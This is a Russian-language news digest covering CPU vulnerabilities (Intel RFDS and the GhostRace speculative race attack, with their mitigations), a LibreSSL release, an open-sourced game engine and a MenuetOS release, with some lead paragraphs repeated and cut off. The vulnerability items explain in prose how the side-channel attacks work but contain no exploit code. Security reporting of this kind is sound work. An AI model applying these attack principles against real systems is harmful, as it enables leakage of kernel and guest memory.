Проблема выявлена инженерами Intel в ходе внутреннего аудита. Детальная информация о методе эксплуатации уязвимости не раскрывается. Утверждается, что атакующий не может целенаправленно управлять выбором процессов для извлечения данных, т.е. оседание доступной для извлечения информации носит случайный характер. Тем не менее, мониторинг остаточной информации может привести к утечке конфиденциальных данных из процессов других пользователей, ядра системы, виртуальных машин, анклавов SGX и обработчиков в режиме SMM.
Утечке подвержены векторные регистры, которые активно используются при шифровании, в функциях копирования памяти и при обработке строк, например, в функциях memcpy, strcmp и strlen. Утечка возможна и через регистры для хранения чисел с плавающей запятой и целых чисел, но они обновляются в процессе выполнения задач значительно чаще векторных регистров, поэтому утечка через них менее вероятна. Остаточные данные напрямую не остаются в регистрах, но могут извлекаться из регистровых файлов при помощи методов атак по сторонним каналам, таких как анализ данных в кэше CPU.
Уязвимость затрагивает только процессоры Atom на базе микроархитектур Alder Lake, Raptor Lake, Tremont, Goldmont и Gracemont. Так как уязвимые процессоры не поддерживают режим HyperThreading, утечка возможна только в рамках одного потока выполнения текущим ядром CPU. Изменения для блокирования уязвимости включены в состав обновления микрокода microcode-20240312-staging. Методы защиты от уязвимости идентичны тем, что уже применяются для блокирования ранее выявленных атак класса MDS (Microarchitectural Data Sampling), SRBDS (Special Register Buffer Data Sampling), TAA (Transactional Asynchronous Abort), DRPW (Device Register Partial Write) и SBDS (Shared Buffers Data Sampling).
Для блокирования утечки в ядре и гипервизорах помимо обновления микрокода требуется применение программных методов защиты, основанных на использовании инструкции VERW для очистки содержимого микроархитектурных буферов в момент возвращения из ядра в пространство пользователя или при передаче управления гостевой системе. Указанная зашита уже добавлена в гипервизор Xen и ядро Linux. Для включения защиты в ядре Linux можно использовать при загрузке ядра флаг "reg_file_data_sampling=on", а информацию о подверженности уязвимости и наличии необходимого для защиты микрокода можно оценить в файле "/sys/devices/system/cpu/vulnerabilities/reg_file_data_sampling".
Компания Intel раскрыла сведения о микроархитектурной уязвимости (CVE-2023-28746) в процессорах Intel Atom (E-core), позволяющей определить данные, используемые процессом, до этого выполнявшемся на том же ядре CPU. Уязвимость, которая получила кодовое имя RFDS (Register File Data Sampling), вызвана возможностью определения остаточной информации из
Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (CVE-2024-2193). Проблема проявляется в процессорах, производимых компаниями Intel, AMD, ARM и IBM. Для демонстрации принципов проведения атаки опубликован прототип эксплоита, позволяющий извлекать данные из памяти ядра Linux с производительностью 12 Кб в секунду при уровне надёжности, типичном для атак класса Spectre. При проведении атак на системы виртуализации, атакующий из гостевой системы может определить содержимое памяти хост-окружения или других гостевых систем.
Предложенный метод атаки манипулирует возникновением в спекулятивном режиме состояний гонки, способных привести к обращению к уже освобождённым областям памяти, в случае неверного прогнозирования процессором ветвления в коде, в котором осуществляются условные операции с примитивами синхронизации потоков, такими как mutex и spinlock. Возникающие спекулятивные обращения к памяти после определения неверного предсказания отбрасываются процессором, но следы их выполнения оседают в процессорном кэше и могут затем быть извлечены при помощи анализа по сторонним каналам.
По аналогии с эксплуатацией уязвимостей Spectre v1 для осуществления атаки GhostRace требуется наличие в ядре определённых последовательностей инструкций (гаджетов), приводящих к спекулятивному выполнению кода в зависимости от внешних условий, на которые может влиять атакующий. В целях оптимизации процессор начинает выполнять подобные гаджеты в спекулятивном режиме, но потом определяет, что предсказание ветвления не оправдалось и откатывает операции в исходное состояние.
Гаджет образуется, например, из участков кода, в которых состояние проверяется в бесконечном цикле и осуществляется выход из цикла после снятия блокировки доступа к ресурсу. Соответственно, при спекулятивном выполнении инструкций можно добиться ложного срабатывания перехода и выполнения защищённого блокировкой набора инструкций, несмотря на то, что фактически блокировка ресурса остаётся неснятой.
При анализе кода ядра Linux 5.15.83 исследователями выявлено 1283 гаджета, приводящих к спекулятивному обращению к уже освобождённой памяти (SCUAF - Speculative Concurrent Use-After-Free). Потенциально атака может быть совершена на системы виртуализации, любые ядра ОС и программы, в которых примитивы синхронизации потоков проверяются с использованием условных операторов, а код выполняется на платформах допускающих спекулятивное выполнение операций ветвления (x86, ARM, RISC-V и т.п.).
Для блокирования атаки предлагается использовать сериализацию примитивов синхронизации, т.е. добавление процессорной инструкции LFENCE после команды cmpxchq, проверяющей состояние блокировки. Предложенный для включения в ядро Linux метод защиты приводит к снижению производительности приблизительно на 5% при прохождении теста LMBench, так как вызов LFENCE запрещает упреждающее выполнение следующих инструкций, до того как будет завершена фиксация всех предыдущих операций.
Разработчики ядра Linux и компании-производители CPU были уведомлены о проблеме в конце 2023 года. Компания AMD опубликовала отчёт о наличии уязвимости, в котором рекомендовала использовать типовые приёмы защиты от атак класса Spectre v1. Компании Intel и ARM пока не отреагировали. Разработчики ядра Linux в ближайшем будущем не намерены использовать предложенный метод сериализации примитивов синхронизации из-за снижения производительности, но уже реализовали необходимые ограничения для защиты от сопутствующей техники эксплуатации IPI Storming (Inter-Process Interrupt Storming) (CVE-2024-26602), которая применяется в эксплоите для прерывания процесса в нужный момент (наводнение ядра CPU прерываниями, мешающими завершению сработавшего во время работы процесса обработчика прерываний) с целью предоставления временного окна для осуществления спекулятивного обращения к уже освобождённой памяти.
Несмотря на то что в гипервизоре Xen пока не выявлено вызывающие утечку гаджеты, разработчики Xen подготовили изменения с реализацией защищённого механизма блокировок LOCK_HARDEN, похожего на ранее добавленный метод защиты BRANCH_HARDEN. Из-за возможного негативного влияния на производительность, а также отсутствия подтверждений возможности совершения атаки на Xen, режим LOCK_HARDEN отключён по умолчанию.
Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (
Разработчики проекта OpenBSD представили выпуск переносимой редакции пакета LibreSSL 3.9.0, в рамках которого развивается форк OpenSSL, нацеленный на обеспечение более высокого уровня безопасности. Проект LibreSSL ориентирован на качественную поддержку протоколов SSL/TLS с удалением излишней функциональности, добавлением дополнительных средств защиты и проведением значительной чистки и переработки кодовой базы. Выпуск LibreSSL 3.9.0 рассматривается как экспериментальный, в котором развиваются возможности, которые войдут в состав OpenBSD 7.5. Одновременно сформирован стабильный выпуск LibreSSL 3.8.3, в котором исправлено несколько специфичных для Windows ошибок и усилена поддержка механизма защиты CET (Control-flow Enforcement Technology).
Особенности LibreSSL 3.9.0:
- Добавлена поддержка алгоритмов цифровой подписи на базе ECDSA с хэшами SHA-3. - Добавлена поддержка HMAC с усечёнными хэшами SHA-2 и SHA-3 в качестве PBE PRF. - Внесены изменения для улучшения переносимости на другие платформы. Для избежания проблем при статическим связывании большая часть используемых для обеспечения совместимости экспортируемых символов LibreSSL снабжена префиксом "libressl_". В сборках на базе CMake прекращён экспорт compat-символов libcrypto. - Внесены изменения, нацеленные на улучшение совместимости с OpenSSL. Например, добавлены имена-псевдонимы ChaCha20 и chacha20 для алгоритма ChaCha, унифицирована работа функций SSL_library_init() и OPENSSL_init_ssl(), приведены к поведению OpenSSL вызовы EVP_{CIPHER,MD}_CTX_init(). - В утилиту openssl добавлена поддержка флагов "-new -force_pubkey", "-multivalue-rdn", "-set_issuer", "-set_subject" и "-utf8". - Осуществлён переход с использования вызова OBJ_bsearch_() на стандартную функцию bsearch(). - Упрощена реализация функции by_file_ctrl(), EVP_Cipher{Init,Update,Final}() и API OBJ_*. - Проведена большая реорганизация API EVP. Удалены функции EVP_add_{cipher,digest}(). - Упрощена обработка X509_TRUST. - Переписаны функции BIO_dump*(). - Прекращена поддержка глобальных таблиц, не адаптированных для многопоточного использования. В связи с этим теперь не поддерживается назначение псевдонимов шифрам и хэшам, добавление собственных строк, методов ASN.1, PKEY и CRL. - Удалены функции BIO_set(), BIO_{sn,v,vsn}printf(), sk_find_ex() и OBJ_bsearch_(), а также множество устаревших функций API CRYPTO. - Прекращён публичный доступ к API X509_CERT_AUX и X509_TRUST. - Прекращена поддержка алгоритмов GOST и STREEBOG. - Расширена поддержка механизма CET (Control-flow Enforcement Technology), применяемого для защиты от выполнения эксплоитов, построенных с использованием приёмов возвратно-ориентированного программирования (ROP, Return-Oriented Programming).
Разработчики проекта OpenBSD представили выпуск переносимой редакции пакета LibreSSL 3.9.0, в рамках которого развивается форк OpenSSL, нацеленный на обеспечение более высокого уровня безопасности. Проект LibreSSL ориентирован на качественную поддержку протоколов SSL/TLS с удалением излишней функциональности, добавлением дополнительных средств защиты и проведением значительной чистки и переработки кодовой базы. Выпуск LibreSSL 3.9.0 рассматривается...
Ассоциация K-D Lab открыла исходный код игрового движка qdEngine, предназначенного для создания квестов. Весь код, за исключением сторонних библиотек, опубликован под лицензией GPLv3. Движок поддерживает платформу Windows 10 и может быть протестирован с ресурсами из игры "Похождения бравого солдата Швейка".
На основе опубликованного движка были созданы следующие игры:
- Братья Пилоты 3D. Дело об Огородных вредителях - Братья Пилоты 3D-2. Тайны Клуба Собаководов - Братья Пилоты. Обратная сторона Земли - Карлик Нос - Мама не горюй - Ну, погоди! Выпуск 3. Песня для зайца - Похождения бравого солдата Швейка - Три маленькие белые мышки. Визит Морской крысы - Три маленькие белые мышки. День рождения морской крысы
Ассоциация K-D Lab открыла исходный код игрового движка qdEngine, предназначенного для создания квестов. Весь код, за исключением сторонних библиотек, опубликован под лицензией GPLv3. Движок поддерживает платформу Windows 10 и может быть протестирован с ресурсами из игры "Похождения бравого солдата Швейка".
Опубликован выпуск операционной системы MenuetOS 1.50, разработка которой ведётся полностью на ассемблере. Сборки MenuetOS подготовлены для 64-разрядных систем x86 и могут быть запущены под управлением QEMU. Сборка системы занимает 1.4 МБ и сформирована в виде образа дискеты и iso-образа для записи на CD (поддерживается запуск в VirtualBox). Исходные тексты проекта распространяются под модифицированной лицензией MIT, дополненной требованием согласования любого использования в коммерческих целях.
Система поддерживает вытесняющую многозадачность, загрузку на системах с UEFI и SMP на многоядерных системах. Проектом также развивается собственный X-сервер и предоставляется встроенный графический интерфейс пользователя с поддержкой тем оформления, операций Drag&Drop, кодировки UTF-8 и переключений клавиатурных раскладок.
Для разработки приложений на ассемблере предлагается собственная интегрируемая среда разработки. Присутствует сетевой стек и драйверы для интерфейсов Loopback и Ethernet. Поддерживается работа с USB 2.0, в том числе с USB-накопителями, принтерами, DVB-тюнерами и web-камерами. Для вывода звука поддерживается AC97 и Intel HDA (ALC662/888).
Проектом развивается простой web-браузер HTTPC, почтовый и ftp клиенты, VNC-клиент, серверы ftp и http, приложения для просмотра изображений, редактирования текстов, работы с файлами, просмотра видео, воспроизведения музыки. Для навигации по файлам предлагается использовать файловый менеджер NDN (Necromancer's Dos Navigator), портированный для MenuetOS.
Возможен запуск DOS-эмулятора и таких игр, как Quake и Doom. Отдельно развивается мультимедийный проигрыватель, написанный исключительно на ассемблере и не использующий внешних библиотек с кодеками. Плеер поддерживает трансляцию TV/Radio (DVB-T, mpeg-2 video, mpeg-1 layer I,II,III audio), показ DVD, воспроизведение MP3 и видео в формате MPEG-2.
Опубликован выпуск операционной системы MenuetOS 1.50, разработка которой ведётся полностью на ассемблере. Сборки MenuetOS подготовлены для 64-разрядных систем x86 и могут быть запущены под управлением QEMU. Сборка системы занимает